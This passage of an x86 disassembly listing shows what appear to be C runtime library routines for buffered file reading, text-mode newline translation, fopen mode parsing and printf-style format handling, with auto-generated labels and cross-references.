[ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F674 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F6D4 ; --------------------------------------------------------------------------- loc_41F674: ; CODE XREF: sub_41F63A+26j jnb short loc_41F6DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F6DB lea eax, [ecx+edx] loc_41F689: ; CODE XREF: sub_41F63A+59j cmp eax, esi jnb short loc_41F697 cmp byte ptr [eax], 0 jnz short loc_41F695 inc eax jmp short loc_41F689 ; --------------------------------------------------------------------------- loc_41F695: ; CODE XREF: sub_41F63A+56j cmp eax, esi loc_41F697: ; CODE XREF: sub_41F63A+51j jnz short loc_41F6DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F6CF cmp esi, eax jbe short loc_41F6CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F6C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F6C1 loc_41F6BA: ; CODE XREF: sub_41F63A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F6BA loc_41F6C1: ; CODE XREF: sub_41F63A+7Ej mov [ebx+4], eax jmp short loc_41F6CF ; --------------------------------------------------------------------------- loc_41F6C6: ; CODE XREF: sub_41F63A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F6CF: ; CODE XREF: sub_41F63A+68j ; sub_41F63A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F6D4: ; CODE XREF: sub_41F63A+38j mov [ebp+var_4], 1 loc_41F6DB: ; CODE XREF: sub_41F63A:loc_41F674j ; sub_41F63A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F63A endp ; =============== S U B R O U T I N E ======================================= sub_41F6E3 proc near ; CODE XREF: sub_41B78A+A9p ; sub_41C1BF+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F7B7 test al, 40h jnz loc_41F7B7 test al, 2 jz short loc_41F709 or al, 20h mov [esi+0Ch], eax jmp loc_41F7B7 ; --------------------------------------------------------------------------- loc_41F709: ; CODE XREF: sub_41F6E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F71D push esi call sub_4240B7 pop ecx jmp short loc_41F722 ; --------------------------------------------------------------------------- loc_41F71D: ; CODE XREF: sub_41F6E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F722: ; CODE XREF: sub_41F6E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F7BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F7A6 cmp eax, 0FFFFFFFFh jz short loc_41F7A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F77B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F764 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DF920[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F769 ; --------------------------------------------------------------------------- loc_41F764: ; CODE XREF: sub_41F6E3+6Bj mov edi, offset dword_43FC70 loc_41F769: ; CODE XREF: sub_41F6E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F77B or dh, 20h mov [esi+0Ch], edx loc_41F77B: ; CODE XREF: sub_41F6E3+62j ; sub_41F6E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F798 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F798 test ch, 4 jnz short loc_41F798 mov dword ptr [esi+18h], 1000h loc_41F798: ; CODE XREF: sub_41F6E3+9Fj ; sub_41F6E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F7A6: ; CODE XREF: sub_41F6E3+55j ; sub_41F6E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F7B7: ; CODE XREF: sub_41F6E3+Aj ; sub_41F6E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F6E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F7BC proc near ; CODE XREF: sub_41B78A+90p ; sub_41F6E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DFA20 jnb loc_41F999 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DF920h[eax*4] mov eax, dword_4DF920[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F999 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F871 test dl, 2 jnz short loc_41F871 test dl, 48h jz short loc_41F831 mov al, [eax+5] cmp al, 0Ah jz short loc_41F831 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F831: ; CODE XREF: sub_41F7BC+56j ; sub_41F7BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_4280EC ; ReadFile test eax, eax jnz short loc_41F884 call dword_428094 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41F86C mov dword_4DE5C4, 9 mov dword_4DE5C8, ecx jmp loc_41F9AA ; --------------------------------------------------------------------------- loc_41F86C: ; CODE XREF: sub_41F7BC+99j cmp eax, 6Dh jnz short loc_41F878 loc_41F871: ; CODE XREF: sub_41F7BC+4Cj ; sub_41F7BC+51j xor eax, eax jmp loc_41F9AD ; --------------------------------------------------------------------------- loc_41F878: ; CODE XREF: sub_41F7BC+B3j push eax call sub_420A7F pop ecx jmp loc_41F9AA ; --------------------------------------------------------------------------- loc_41F884: ; CODE XREF: sub_41F7BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F994 test edx, edx jz short loc_41F8A9 cmp byte ptr [edi], 0Ah jnz short loc_41F8A9 or al, 4 jmp short loc_41F8AB ; --------------------------------------------------------------------------- loc_41F8A9: ; CODE XREF: sub_41F7BC+E2j ; sub_41F7BC+E7j and al, 0FBh loc_41F8AB: ; CODE XREF: sub_41F7BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F98E loc_41F8C3: ; CODE XREF: sub_41F7BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F97E cmp al, 0Dh jz short loc_41F8DF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F970 ; --------------------------------------------------------------------------- loc_41F8DF: ; CODE XREF: sub_41F7BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F8FD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F8F4 add [ebp+arg_8], 2 jmp short loc_41F952 ; --------------------------------------------------------------------------- loc_41F8F4: ; CODE XREF: sub_41F7BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F970 ; --------------------------------------------------------------------------- loc_41F8FD: ; CODE XREF: sub_41F7BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4280EC ; ReadFile test eax, eax jnz short loc_41F925 call dword_428094 ; RtlGetLastWin32Error test eax, eax jnz short loc_41F96C loc_41F925: ; CODE XREF: sub_41F7BC+15Dj cmp [ebp+var_C], 0 jz short loc_41F96C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F947 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F952 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F970 ; --------------------------------------------------------------------------- loc_41F947: ; CODE XREF: sub_41F7BC+176j cmp edi, [ebp+arg_4] jnz short loc_41F957 cmp [ebp+var_1], 0Ah jnz short loc_41F957 loc_41F952: ; CODE XREF: sub_41F7BC+136j ; sub_41F7BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F96F ; --------------------------------------------------------------------------- loc_41F957: ; CODE XREF: sub_41F7BC+18Ej ; sub_41F7BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422DCB add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F970 loc_41F96C: ; CODE XREF: sub_41F7BC+167j ; sub_41F7BC+16Dj mov byte ptr [edi], 0Dh loc_41F96F: ; CODE XREF: sub_41F7BC+199j inc edi loc_41F970: ; CODE XREF: sub_41F7BC+11Ej ; sub_41F7BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F8C3 jmp short loc_41F98E ; --------------------------------------------------------------------------- loc_41F97E: ; CODE XREF: sub_41F7BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F98E or al, 2 mov [esi], al loc_41F98E: ; CODE XREF: sub_41F7BC+101j ; sub_41F7BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F994: ; CODE XREF: sub_41F7BC+DAj mov eax, [ebp+var_8] jmp short loc_41F9AD ; --------------------------------------------------------------------------- loc_41F999: ; CODE XREF: sub_41F7BC+12j ; sub_41F7BC+39j and dword_4DE5C8, 0 mov dword_4DE5C4, 9 loc_41F9AA: ; CODE XREF: sub_41F7BC+ABj ; sub_41F7BC+C3j or eax, 0FFFFFFFFh loc_41F9AD: ; CODE XREF: sub_41F7BC+B7j ; sub_41F7BC+1DBj pop edi pop esi pop ebx leave retn sub_41F7BC endp ; =============== S U B R O U T I N E ======================================= sub_41F9B2 proc near ; CODE XREF: sub_41B872+126p ; sub_41B872+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DE648 test eax, eax jz short loc_41F9CA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F9CA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F9CA: ; CODE XREF: sub_41F9B2+7j ; sub_41F9B2+12j xor eax, eax retn sub_41F9B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9CD proc near ; CODE XREF: sub_41BB12+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DE7B4 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FA06 cmp al, 72h jz short loc_41F9FF cmp al, 77h jnz loc_41FB1A mov ecx, 301h jmp short loc_41FA0B ; --------------------------------------------------------------------------- loc_41F9FF: ; CODE XREF: sub_41F9CD+21j xor ecx, ecx or esi, 1 jmp short loc_41FA0E ; --------------------------------------------------------------------------- loc_41FA06: ; CODE XREF: sub_41F9CD+1Dj mov ecx, 109h loc_41FA0B: ; CODE XREF: sub_41F9CD+30j or esi, 2 loc_41FA0E: ; CODE XREF: sub_41F9CD+37j push 1 pop edx loc_41FA11: ; CODE XREF: sub_41F9CD+8Bj ; sub_41F9CD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FB00 cmp edx, ebx jz loc_41FB00 movsx eax, al cmp eax, 54h jg short loc_41FA9F jz short loc_41FA8F sub eax, 2Bh jz short loc_41FA79 sub eax, 19h jz short loc_41FA6F sub eax, 0Eh jz short loc_41FA5A dec eax jnz loc_41FAF1 cmp [ebp+var_4], ebx jnz loc_41FAF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FA11 ; --------------------------------------------------------------------------- loc_41FA5A: ; CODE XREF: sub_41F9CD+6Fj cmp [ebp+var_4], ebx jnz loc_41FAF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FA11 ; --------------------------------------------------------------------------- loc_41FA6F: ; CODE XREF: sub_41F9CD+6Aj test cl, 40h jnz short loc_41FAF1 or ecx, 40h jmp short loc_41FA11 ; --------------------------------------------------------------------------- loc_41FA79: ; CODE XREF: sub_41F9CD+65j test cl, 2 jnz short loc_41FAF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FA11 ; --------------------------------------------------------------------------- loc_41FA8F: ; CODE XREF: sub_41F9CD+60j mov eax, 1000h test ecx, eax jnz short loc_41FAF1 or ecx, eax jmp loc_41FA11 ; --------------------------------------------------------------------------- loc_41FA9F: ; CODE XREF: sub_41F9CD+5Ej sub eax, 62h jz short loc_41FAEC dec eax jz short loc_41FAD5 sub eax, 0Bh jz short loc_41FABE sub eax, 6 jnz short loc_41FAF1 test ch, 0C0h jnz short loc_41FAF1 or ch, 40h jmp loc_41FA11 ; --------------------------------------------------------------------------- loc_41FABE: ; CODE XREF: sub_41F9CD+DDj cmp [ebp+var_8], ebx jnz short loc_41FAF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FA11 ; --------------------------------------------------------------------------- loc_41FAD5: ; CODE XREF: sub_41F9CD+D8j cmp [ebp+var_8], ebx jnz short loc_41FAF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FA11 ; --------------------------------------------------------------------------- loc_41FAEC: ; CODE XREF: sub_41F9CD+D5j test ch, 0C0h jz short loc_41FAF8 loc_41FAF1: ; CODE XREF: sub_41F9CD+72j ; sub_41F9CD+7Bj ... xor edx, edx jmp loc_41FA11 ; --------------------------------------------------------------------------- loc_41FAF8: ; CODE XREF: sub_41F9CD+122j or ch, 80h jmp loc_41FA11 ; --------------------------------------------------------------------------- loc_41FB00: ; CODE XREF: sub_41F9CD+4Aj ; sub_41F9CD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_4240FB mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FB1E loc_41FB1A: ; CODE XREF: sub_41F9CD+25j xor eax, eax jmp short loc_41FB38 ; --------------------------------------------------------------------------- loc_41FB1E: ; CODE XREF: sub_41F9CD+14Bj mov eax, [ebp+arg_C] inc dword_4DE7B0 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FB38: ; CODE XREF: sub_41F9CD+14Fj pop edi pop esi pop ebx leave retn sub_41F9CD endp ; =============== S U B R O U T I N E ======================================= sub_41FB3D proc near ; CODE XREF: sub_41BB12p mov edx, dword_4DF900 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FBAE mov ebx, dword_4DE8E8 mov edi, ebx loc_41FB59: ; CODE XREF: sub_41FB3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FB74 test byte ptr [ecx+0Ch], 83h jz short loc_41FB6F inc eax add edi, 4 cmp eax, edx jl short loc_41FB59 jmp short loc_41FBAE ; --------------------------------------------------------------------------- loc_41FB6F: ; CODE XREF: sub_41FB3D+26j mov esi, [ebx+eax*4] jmp short loc_41FB98 ; --------------------------------------------------------------------------- loc_41FB74: ; CODE XREF: sub_41FB3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BB45 pop ecx mov ecx, dword_4DE8E8 mov [edi+ecx], eax mov eax, dword_4DE8E8 mov edi, [edi+eax] cmp edi, ebp jz short loc_41FBAE mov esi, edi loc_41FB98: ; CODE XREF: sub_41FB3D+35j cmp esi, ebp jz short loc_41FBAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FBAE: ; CODE XREF: sub_41FB3D+12j ; sub_41FB3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FB3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBB5 proc near ; CODE XREF: sub_41BD5E+17p ; sub_41BD5E+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FBD3 mov ecx, off_43F618 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FC25 ; --------------------------------------------------------------------------- loc_41FBD3: ; CODE XREF: sub_41FBB5+10j mov ecx, eax push esi mov esi, off_43F618 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FBF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FC01 ; --------------------------------------------------------------------------- loc_41FBF8: ; CODE XREF: sub_41FBB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FC01: ; CODE XREF: sub_41FBB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4243B4 add esp, 1Ch test eax, eax jnz short loc_41FC21 leave retn ; --------------------------------------------------------------------------- loc_41FC21: ; CODE XREF: sub_41FBB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FC25: ; CODE XREF: sub_41FBB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FBB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FC2A proc near ; CODE XREF: sub_41BEF6+46p ; sub_41BFF0+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FD33 test al, 40h jnz loc_41FD33 test al, 1 jz short loc_41FC62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FD33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FC62: ; CODE XREF: sub_41FC2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FC9C cmp esi, offset dword_43FD28 jz short loc_41FC8A cmp esi, offset dword_43FD48 jnz short loc_41FC95 loc_41FC8A: ; CODE XREF: sub_41FC2A+56j push ebx call sub_4244FD test eax, eax pop ecx jnz short loc_41FC9C loc_41FC95: ; CODE XREF: sub_41FC2A+5Ej push esi call sub_4240B7 pop ecx loc_41FC9C: ; CODE XREF: sub_41FC2A+4Ej ; sub_41FC2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FD09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FCCC push edi push eax push ebx call sub_422FBD add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41FCFF ; --------------------------------------------------------------------------- loc_41FCCC: ; CODE XREF: sub_41FC2A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FCE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DF920[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FCEC ; --------------------------------------------------------------------------- loc_41FCE7: ; CODE XREF: sub_41FC2A+A5j mov eax, offset dword_43FC70 loc_41FCEC: ; CODE XREF: sub_41FC2A+BBj test byte ptr [eax+4], 20h jz short loc_41FCFF push 2 push 0 push ebx call sub_422DCB add esp, 0Ch loc_41FCFF: ; CODE XREF: sub_41FC2A+A0j ; sub_41FC2A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FD1D ; --------------------------------------------------------------------------- loc_41FD09: ; CODE XREF: sub_41FC2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_422FBD add esp, 0Ch mov [ebp+arg_4], eax loc_41FD1D: ; CODE XREF: sub_41FC2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FD29 or dword ptr [esi+0Ch], 20h jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD29: ; CODE XREF: sub_41FC2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FD33: ; CODE XREF: sub_41FC2A+10j ; sub_41FC2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FD38: ; CODE XREF: sub_41FC2A+FDj or eax, 0FFFFFFFFh loc_41FD3B: ; CODE XREF: sub_41FC2A+107j pop esi pop ebx pop ebp retn sub_41FC2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD3F proc near ; CODE XREF: sub_41BEF6+29p ; sub_41BFF0+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420458 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FD73 ; --------------------------------------------------------------------------- loc_41FD6B: ; CODE XREF: sub_41FD3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FD73: ; CODE XREF: sub_41FD3F+2Aj cmp [ebp+var_14], edx jl loc_420458 cmp bl, 20h jl short loc_41FD94 cmp bl, 78h jg short loc_41FD94 movsx eax, bl mov al, [eax+428724h] and eax, 0Fh jmp short loc_41FD96 ; --------------------------------------------------------------------------- loc_41FD94: ; CODE XREF: sub_41FD3F+40j ; sub_41FD3F+45j xor eax, eax loc_41FD96: ; CODE XREF: sub_41FD3F+53j movsx eax, byte_428744[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420447 ; default jmp off_420460[eax*4] ; switch jump loc_41FDB4: ; DATA XREF: .XPack0:off_420460o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FDAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FDCF: ; CODE XREF: sub_41FD3F+6Ej ; DATA XREF: .XPack0:off_420460o movsx eax, bl ; jumptable 0041FDAD case 2 sub eax, 20h jz short loc_41FE12 sub eax, 3 jz short loc_41FE09 sub eax, 8 jz short loc_41FE00 dec eax dec eax jz short loc_41FDF7 sub eax, 3 jnz loc_420447 ; default or [ebp+var_4], 8 jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FDF7: ; CODE XREF: sub_41FD3F+A4j or [ebp+var_4], 4 jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE00: ; CODE XREF: sub_41FD3F+A0j or [ebp+var_4], 1 jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE09: ; CODE XREF: sub_41FD3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE12: ; CODE XREF: sub_41FD3F+96j or [ebp+var_4], 2 jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FD3F+6Ej ; DATA XREF: .XPack0:off_420460o cmp bl, 2Ah ; jumptable 0041FDAD case 3 jnz short loc_41FE43 lea eax, [ebp+arg_8] push eax call sub_42051E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420447 ; default or [ebp+var_4], 4 neg eax loc_41FE3B: ; CODE XREF: sub_41FD3F+111j mov [ebp+var_20], eax jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE43: ; CODE XREF: sub_41FD3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41FE3B ; --------------------------------------------------------------------------- loc_41FE52: ; CODE XREF: sub_41FD3F+6Ej ; DATA XREF: .XPack0:off_420460o mov [ebp+var_10], edx ; jumptable 0041FDAD case 4 jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FD3F+6Ej ; DATA XREF: .XPack0:off_420460o cmp bl, 2Ah ; jumptable 0041FDAD case 5 jnz short loc_41FE7D lea eax, [ebp+arg_8] push eax call sub_42051E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420447 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE7D: ; CODE XREF: sub_41FD3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FE8F: ; CODE XREF: sub_41FD3F+6Ej ; DATA XREF: .XPack0:off_420460o cmp bl, 49h ; jumptable 0041FDAD case 6 jz short loc_41FEC2 cmp bl, 68h jz short loc_41FEB9 cmp bl, 6Ch jz short loc_41FEB0 cmp bl, 77h jnz loc_420447 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FEB0: ; CODE XREF: sub_41FD3F+15Dj or [ebp+var_4], 10h jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FEB9: ; CODE XREF: sub_41FD3F+158j or [ebp+var_4], 20h jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FEC2: ; CODE XREF: sub_41FD3F+153j cmp byte ptr [edi], 36h jnz short loc_41FEDB cmp byte ptr [edi+1], 34h jnz short loc_41FEDB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FEDB: ; CODE XREF: sub_41FD3F+186j ; sub_41FD3F+18Cj mov [ebp+var_30], edx loc_41FEDE: ; CODE XREF: sub_41FD3F+6Ej ; DATA XREF: .XPack0:off_420460o mov ecx, off_43F618 ; jumptable 0041FDAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41FF0A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420480 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41FF0A: ; CODE XREF: sub_41FD3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420480 add esp, 0Ch jmp loc_420447 ; default ; --------------------------------------------------------------------------- loc_41FF22: ; CODE XREF: sub_41FD3F+6Ej ; DATA XREF: .XPack0:off_420460o movsx eax, bl ; jumptable 0041FDAD case 7 cmp eax, 67h jg loc_42014A cmp eax, 65h jge loc_41FFCD cmp eax, 58h jg loc_42002B jz loc_4201BE sub eax, 43h jz loc_41FFEE dec eax dec eax jz short loc_41FFC3 dec eax dec eax jz short loc_41FFC3 sub eax, 0Ch jnz loc_420349 test word ptr [ebp+var_4], 830h jnz short loc_41FF6C or byte ptr [ebp+var_4+1], 8 loc_41FF6C: ; CODE XREF: sub_41FD3F+227j ; sub_41FD3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41FF79 mov esi, 7FFFFFFFh loc_41FF79: ; CODE XREF: sub_41FD3F+233j lea eax, [ebp+arg_8] push eax call sub_42051E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420192 test ecx, ecx jnz short loc_41FFA1 mov ecx, off_43F834 mov [ebp+var_8], ecx loc_41FFA1: ; CODE XREF: sub_41FD3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41FFAA: ; CODE XREF: sub_41FD3F+282j mov edx, esi dec esi test edx, edx jz loc_420189 cmp word ptr [eax], 0 jz loc_420189 inc eax inc eax jmp short loc_41FFAA ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FD3F+212j ; sub_41FD3F+216j mov [ebp+var_34], 1 add bl, 20h loc_41FFCD: ; CODE XREF: sub_41FD3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4200B1 mov [ebp+var_10], 6 jmp 